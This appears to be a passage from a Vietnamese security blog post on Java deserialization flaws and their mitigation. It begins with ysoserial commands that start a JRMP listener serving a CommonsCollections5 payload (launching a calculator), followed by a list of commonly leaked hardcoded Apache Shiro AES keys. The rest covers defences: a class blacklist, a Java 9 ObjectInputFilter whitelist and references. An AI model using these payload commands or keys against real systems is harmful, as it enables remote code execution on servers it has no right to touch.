java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 9527 CommonsCollections5 "open -a calculator"

java -jar ysoserial-master-30099844c6-1.jar JRMPClient 127.0.0.1:9527

Cuối cùng cùng xem mã:

shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java

shiro-core-1.2.4-sources.jar!/org/apache/shiro/io/DefaultSerializer.java

Dưới đây là quá trình mã hóa:

shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java

Trước tiên serialize đối tượng, dữ liệu sau serialize được mã hóa, phương pháp mã hóa là AES-CBC:

shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java

Khóa được hardcode trong mã, chỉ cần khóa bị rò rỉ, shiro có nguy cơ bị lỗ hổng tái tạo.

Đính kèm khóa shiro phổ biến, từ Generate all unserialize payload via serialVersionUID:

4AvVhmFLUs0KTA3Kprsdag==    :   190
3AvVhmFLUs0KTA3Kprsdag==    :   157
Z3VucwAAAAAAAAAAAAAAAA==    :   135
2AvVhdsgUs0FSA3SDFAdag==    :   114
wGiHplamyXlVB11UXWol8g==    :   35
kPH+bIxk5D2deZiIxcaaaA==    :   27
fCq+/xW488hMTCD+cmJ3aQ==    :   9
1QWLxg+NYmxraMoxAXu/Iw==    :   9
ZUdsaGJuSmxibVI2ZHc9PQ==    :   8
L7RioUULEFhRyxM7a2R/Yg==    :   5
6ZmI6I2j5Y+R5aSn5ZOlAA==    :   5
r0e3c16IdVkouZgk1TKVMg==    :   4
ZWvohmPdUsAWT3=KpPqda       :   4
5aaC5qKm5oqA5pyvAAAAAA==    :   4
bWluZS1hc3NldC1rZXk6QQ==    :   3
a2VlcE9uR29pbmdBbmRGaQ==    :   3
WcfHGU25gNnTxTlmJMeSpw==    :   3
LEGEND-CAMPUS-CIPHERKEY==   :   3
3AvVhmFLUs0KTA3Kprsdag ==   :   3

0x02 Phòng ngừa lỗ hổng

Danh sách đen trắng

Trong quá trình tái tạo readObject trước tiên sẽ gọi resolveClass đọc tên lớp tái tạo, có thể thực hiện xác minh lớp tái tạo bằng cách ghi đè phương thức resolveClass của đối tượng ObjectInputStream.

package cn.seaii.vulnjsm.utils;

import java.io.*;

public class SecureObjectInputStream extends ObjectInputStream {
    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName(); // Lấy tên lớp tái tạo
        String[] forbiddenClasses = {
                "java.net.InetAddress",
                "org.apache.commons.collections.Transformer",
                "org.apache.commons.collections.functors",
        }; // Thiết lập danh sách đen, có thể tham khảo gadget của ysoserial
        for (String forbiddenClass : forbiddenClasses) {
            if (className.startsWith(forbiddenClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }
}

Phần mở rộng bên thứ ba:

https://github.com/ikkisoft/SerialKiller

https://github.com/Contrast-Security-OSS/contrast-rO0

Java 9 bao gồm tính năng lọc dữ liệu serialize mới, nhà phát triển cũng có thể kế thừa lớp java.io.ObjectInputFilter, ghi đè phương thức checkInput để thực hiện bộ lọc tùy chỉnh, và sử dụng phương thức setObjectInputFilter của đối tượng ObjectInputStream để thiết lập bộ lọc nhằm thực hiện kiểm soát danh sách trắng/đen lớp tái tạo.

import java.util.List;
import java.util.Optional;
import java.util.function.Function;
import java.io.ObjectInputFilter;

class SecurityFilter implements ObjectInputFilter {
    private long maxStreamBytes = 78; // Số byte tối đa được phép trong stream.
    private long maxDepth = 1; // Độ sâu tối đa của đồ thị được phép.
    private long maxReferences = 1; // Số lượng tham chiếu tối đa trong đồ thị.
    
    @Override
    public Status checkInput(FilterInfo filterInfo) {
        if (filterInfo.references() < 0 || 
          filterInfo.depth() < 0 || 
          filterInfo.streamBytes() < 0 || 
          filterInfo.references() > maxReferences || 
          filterInfo.depth() > maxDepth || 
          filterInfo.streamBytes() > maxStreamBytes
        ) {
            return Status.REJECTED;
        }
        Class<?> clazz = filterInfo.serialClass();
        if (clazz != null) {
            if (SecureObject.class == filterInfo.serialClass()) {
                return Status.ALLOWED;
            } else {
                return Status.REJECTED;
            }
        }
        return Status.UNDECIDED;
    } // end checkInput
} // end class SecurityFilter

Mã hóa nội dung đầu vào

Mã hóa nội dung đầu vào theo cách người dùng không thể đoán được hoặc mã hóa đối xứng sau đó gửi đến backend, nhưng mã hóa ở bước nào là vấn đề, nếu ở frontend, có nguy cơ thuật toán mã hóa bị phá vỡ.

Cấm người dùng nhập dữ liệu tái tạo

Ảnh hưởng rất lớn bởi nhu cầu nghiệp vụ thực tế, không thể coi là phương pháp sửa chữa phổ biến. Như vậy, danh sách đen trắng vẫn là biện pháp phòng vệ phổ biến nhất.

0x03 Liên kết tham khảo

Java Deserialization Vulnerability Summary (1) — Apache Commons

Phân tích Serialize và Deserialize Java

https://github.com/Cryin/Paper/blob/master/%E6%B5%85%E8%B0%88Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88.md

Java Deserialize Jdk7u21 Payload Learning Notes

FastJson Deserialization Past and Present

Research on Java Deserialization RCE Echo

Thẻ: Java Deserialization vulnerability Security exploit

Đăng vào ngày 2 tháng 6 lúc 17:09